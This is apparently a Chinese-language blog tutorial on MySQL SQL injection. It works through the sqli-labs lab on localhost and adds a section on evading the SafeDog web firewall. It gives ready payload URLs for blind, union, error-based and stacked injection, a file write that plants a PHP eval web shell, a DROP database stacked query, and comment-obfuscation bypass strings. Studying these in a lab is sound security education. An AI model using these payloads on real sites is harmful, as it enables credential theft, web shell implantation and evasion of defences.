博客 / 詳情

返回

SQL注入【學習】與【繞過安全狗】

免責聲明

閲讀前請先熟讀《網絡安全法》相關內容,以下知識點僅供學習使用,由於傳播,利用此文所提供的信息而造成的任何直接或間接的後果和損失,均由使用者本人負責,文章作者不承擔任何責任。

瞭解SQL注入

SQL注入是因為後台SQL語句拼接了用户的輸入,而且Web應用程序對用户輸入數據的合法性沒有判斷和過濾,前端傳入後端的參數是攻擊者可控的,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。比如查詢、刪除,增加,修改數據等等,如果數據庫的用户權限足夠大,還可以對操作系統執行操作。
SQL注入可以分為平台層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平台的漏洞所致;後者主要是由於程序員對輸入未進行細緻地過濾。SQL注入是針對數據庫、後台、系統層面的攻擊!

熟悉數據庫

目前市面上使用MySql的數量還是比較多的,所以佩劍以MySql舉例,所以先了解點MySQL有關的知識。在MySQL5.0之後添加了 information_schema 的數據庫,該數據庫中的表都是隻讀的,不能進程正刪改查,實際上就是一個視圖,不是基本的表結構。無法被刪除。

DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'

特別要注意的是數據庫中的註釋符,在後續的SQL注入過程中,繞過安全狗有特別重要的作用,需要靈活組合搭配

mysql中註釋符:#   、/**/  、  -- 

information_schema數據庫中三個很重要的表:

information_schema.schemata: 該數據表存儲了mysql數據庫中的所有數據庫的庫名
information_schema.tables:該數據表存儲了mysql數據庫中的所有數據表的表名
information_schema.columns: 該數據表存儲了mysql數據庫中的所有列的列名

image.png

Mysql常用函數

  1. version():查詢數據庫的版本
  2. user():查詢數據庫的使用者
  3. database():數據庫
  4. system_user():系統用户名
  5. session_user():連接數據庫的用户名
  6. current_user:當前用户名
  7. load_file():讀取本地文件
  8. @@datadir:讀取數據庫路徑
  9. @@basedir:mysql安裝路徑
  10. @@version_complie_os:查看操作系統
  11. ascii(str) : 返回給定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
  12. length(str) : 返回給定字符串的長度,如 length("string")=6
  13. substr(string,start,length) : 對於給定字符串string,從start位開始截取,截取length長度 ,如 substr("chinese",3,2)="in"
  14. substr()、stbstring()、mid() 三個函數的用法、功能均一致
  15. concat(username):將查詢到的username連在一起,默認用逗號分隔
  16. concat(str1,'',str2):將字符串str1和str2的數據查詢到一起,中間用連接
  17. group_concat(username) :將username數據查詢在一起,用逗號連接
  18. limit 0,1:查詢第1個數,limit 1,1: 查詢第2個數

以上是在SQL注入過程中經常用到的,如果還需要了解其他的函數可以自行百度

SQL注入的分類

注入點類型分類

  1. 數字類型
  2. 字符串類型
  3. 搜索型

    提交方式分類

  4. GET
  5. POST
  6. COOKIE
  7. HTTP頭

    獲取信息的方式分類

  8. 布爾盲注
  9. 時間盲注
  10. 報錯注入
  11. 聯合查詢
  12. 堆查詢注入

判斷是否存在SQL注入

一個網站有特別多頁面,怎麼判斷是否存在SQL注入。可以通過現成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也可以在GitHub上子域名掃描器,把整個站所有子域名都掃描出來,然後再逐步掃描漏洞【掃描的網站一定要在得到許可後,才能掃描】。
但是有的時候工具不是萬能的,工具只是大面積的掃描,有很多時候還是需要手動判斷是否有SQL注入漏洞。下面以MySql 5.5版本為例,熟悉SQL注入流程,積累經驗。

盲注:服務器沒有錯誤回顯時完成的注入攻擊。服務器沒有錯誤回顯,無法判斷是否成功注入
所以需要找到一個方面讓服務器報錯
  1. 先加單引號'、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
  2. 在URL後面加 and 1=1 、 and 1=2 看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。
  3. 有時候通過簡單的條件語句比如 and 1=2 是無法看出異常,就需要時間盲注

    環境準備

    下面我們搭建sqli-labs靶機驗證個個注入方法
    我把靶機安裝在Centos7虛擬機上,安裝的時候需要安裝小皮【phpstudy】 官網教程已經非常詳細就不贅述了。強調的一點就是sqli-labs用的php框架比較老,需要安裝5.x版本的php,如果是默認的7.x版本啓動會報錯,安裝5.5+mysql默認用户名密碼即可
    修改sqli-labs配置文件
    image.png
    輸入地址就能訪問
    image.png
    點擊Setup/reset Database for labs 鏈接自動靶場數據腳本插入到數據庫中
    初學可以改造一下靶場的代碼,讓sql顯示到頁面上,能更好的理解sql輸入的全過程。當然直接安裝到本地會更好操作一下,看個人習慣
    image.png
    這樣就可以使用了

    Boolean盲注【耗時】

    我們先以Less-5舉例,首先代碼改造一下,將SQL打在頁面上,可以更方便我們理解
    image.png
    image.png
    我用的是火狐瀏覽器,可以在擴展裏安裝Max HackBar【免費】,在使用的過程中會很方便。
    當我們輸入http://127.0.0.1/sqli/Less-5/...' 我們得到下面的頁面
    image.png
    由此可以看出代碼把 id 當成了字符來處理,而且後面還有一個限制顯示的行數 limit 0,1 。當我們輸入的語句正確時,就顯示You are in.... 當我們輸入的語句錯誤時就報出 SQL 語句錯誤。
    根據以上的信息我們可以猜出sql的大概寫法

    $sql="SELECT * FROM 表 WHERE id='$id' LIMIT 0,1";    //sql查詢語句
    $result=mysql_query($sql);

    所以可以通過一些構造語句猜想我們的判斷,盲注一般用到的函數有substr() 、length(),exists()、concat()、ascii()等。

    1、判斷數據庫類型

    這個例子已經告訴我們數據類型,在不知道什麼數據庫的,需要通過exists()函數判斷是什麼數據庫

    //判斷是否是 Mysql數據庫
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) #
     
    //判斷是否是 access數據庫
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) #
    
    //判斷是否是 Sqlserver數據庫
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #

    看哪個不報錯就能判斷是什麼數據庫,後面的#號是註釋掉後面的sql
    對於MySQL數據庫,information_schema 數據庫中的表都是隻讀的,不能進行更新、刪除和插入等操作。
    information_schema.tables存儲了數據表的元數據信息,下面對常用的字段進行介紹:

  4. table_schema: 記錄數據庫名
  5. table_name: 記錄數據表名
  6. table_rows: 關於表的粗略行估計
  7. data_length : 記錄表的大小(單位字節)

    2、判斷當前數據庫名
    1:判斷當前數據庫的長度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5   //正常顯示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10   //不顯示任何數據
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7   //正常顯示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8   //不顯示任何數據
     
    大於7正常顯示,大於8不顯示,所以可知當前數據庫長度為 8
     
    2:判斷當前數據庫的字符,和上面的方法一樣,利用二分法依次判斷
    //判斷數據庫的第一個字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100
    //判斷數據庫的第二個字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100
     
    ...........
    由此可以判斷出當前數據庫為 security
    3、判斷當前數據庫中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin)   //猜測當前數據庫中是否存在admin表
    1:判斷當前數據庫中表的個數
    // 判斷當前數據庫中的表的個數是否大於5,用二分法依次判斷,最後得知當前數據庫表的個數為4
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
    2:判斷每個表的長度
    //判斷第一個表的長度,用二分法依次判斷,最後可知當前數據庫中第一個表的長度為6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
     
    //判斷第二個表的長度,用二分法依次判斷,最後可知當前數據庫中第二個表的長度為6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
    3:判斷每個表的每個字符的ascii值
    //判斷第一個表的第一個字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
     
    //判斷第一個表的第二個字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
    .........
    由此可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬户和密碼,所以以下判斷字段和數據在 users 表中判斷
    4、判斷當前數據庫中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin)   //猜測是否存在username字段
    1:判斷表中字段的個數
    //判斷users表中字段個數是否大於5,這裏的users表是通過上面的語句爆出來的
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 #
    2:判斷字段的長度
    //判斷第一個字段的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
     
    //判斷第二個字段的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
    3:判斷字段的ascii值
    //判斷第一個字段的第一個字符的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
     
    //判斷第一個字段的第二個字符的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
    ...........
    由此可判斷出users表中存在 id、username、password 字段
    5、判斷字段中的數據
    上面方法已經知道users中有三個字段 id 、username 、password,現在爆出每個字段的數據
     
    1: 判斷數據的長度
    // 判斷id字段的第一個數據的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5
     
    // 判斷id字段的第二個數據的長度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5
    2:判斷數據的ascii值
    // 判斷id字段的第一個數據的第一個字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100
     
    // 判斷id字段的第一個數據的第二個字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100
    ...........

    union注入

    union聯合查詢適用於有顯示列的注入,可以通過order by來判斷當前表的列數
    我們用Less-2舉例

    http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #

    image.png
    image.png
    説明只有3個字段

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #

    image.png
    注意id要輸入一個沒有的參數,才能將union顯示出來

    http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #

    也可以寫成錯誤數據and 1=2
    這時候需要一些函數來幫我們查詢重要信息

    version() :數據庫的版本     
    database() :當前所在的數據庫      
    user() :數據庫的用户   
    current_user() : 當前用户名
    system_user() : 系統用户名     
    session_user() :連接到數據庫的用户名
    @@basedir :  數據庫的安裝目錄
    @@datadir :數據庫文件的存放目錄  

    image.png
    通過union注入獲得更多的信息

    // 獲得所有的數據庫 
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(schema_name),3 from information_schema.schemata#
     
    // 獲得所有的表
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(table_name),3 from information_schema.tables#
    // 獲得所有的列
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(column_name),3 from information_schema.columns#
     
    #獲取當前數據庫中指定表的指定字段的值(只能是database()所在的數據庫內的數據,因為處於當前數據庫下的話不能查詢其他數據庫內的數據)
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(password),3 from users #

    image.png
    通過下面的語句得到當前數據庫的所有的表

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

    image.png
    通過下面的語句知道每一個表中的列

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

    image.png
    最後將users表中的所有數據都給爆出來了

    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(id,'**',username,'**',password),3 from users #

    image.png

當有顯示列的時候,可以利用 union 注入。當沒有顯示列的時候,只能利用盲注進行數據讀取;

文件讀寫

union注入讀取文件
http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,2,load_file("D:/1.txt")#
union寫入文件
union注入寫入一句話木馬  into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'D:/1.php' #

報錯注入

頁面上沒有顯示位,但是需要輸出 SQL 語句執行錯誤信息

ExtractValue報錯注入
EXTRACTVALUE (XML_document, XPath_string)

第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱
第二個參數:XPath_string (Xpath 格式的字符串).

作用:從目標 XML 中返回包含所查詢值的字符串
// 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1  and extractvalue(1,concat(0x7e,database(),0x7e))#

image.png

UpdateXml報錯注入

UpdateXml 函數實際上是去更新了XML文檔,但是我們在XML文檔路徑的位置裏面寫入了子查詢,我們輸入特殊字符,然後就因為不符合輸入規則然後報錯了,但是報錯的時候他其實已經執行了那個子查詢代碼!

UPDATEXML (XML_document, XPath_string, new_value)

第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱
第二個參數:XPath_string (Xpath 格式的字符串) 
第三個參數:new_value,String 格式,替換查找到的符合條件的數據

// 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,database(),0x7e),1)#

image.png

時間盲注

Timing Attack注入,也就是時間盲注。通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。利用Benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功.

http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#

REGEXP正則匹配

正則表達式通常被用來檢索、替換那些符合某個模式(規則)的文本

http://127.0.0.1/sqli/Less-1/?id=1 and  1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #

image.png

堆疊注入

在SQL中,分號;是用來表示一條sql語句的結束,在 ; 結束後繼續構造下一條語句繼續執行就是迭代注入。【目前個人發現只有mysql好用】

Select * from user where name='root';DROP database user;

二次注入

二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
以Less-24為例
新建一個賬號
image.png
新建的用户名為:admin'# 密碼為:123456
image.png
image.png
數據已經插入
image.png
登錄修改密碼
image.png
將admin密碼修改了
image.png
為什麼會這樣呢?我們查看修改密碼頁面源代碼,發現這裏存在明顯的SQL注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

當我們提交用户名 admin'# 修改密碼為 aaaaaa 的時候,這條SQL語句就變成了下面的語句了。#把後面的都給註釋了,所以就是修改了admin用户的密碼為 aaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='$curr_pass' ";

User-Agent注入

訪問 http://127.0.0.1/sqli/Less-18/ 我們先抓包
image.png
修改其User-Agent為

and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1  #

頁面將當前的數據庫顯示出來了

繞過安全狗

環境準備

在安裝安全狗之前,一定要先做好安裝apache2.4這一項
安全狗配置
image.png
下載最新4.0 安全狗
image.png

1=1繞過

首先這裏的話是嘗試一個1=1
image.png
更換成true=true進行嘗試 還是不行
嘗試用/*/來充當註釋符 依然不行
發現很多都可以充當空格來進行繞過,我們隨意挑選一個進行嘗試,構造payload如下

http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #

image.png

order by 繞過

http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+

image.png

聯合查詢繞過

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+

image.png

各種註釋繞過

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+

image.png

SQL注入的預防

  • 可以採用預編譯語句集,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值即可。
  • 使用正則表達式過濾
  • 待更新
user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.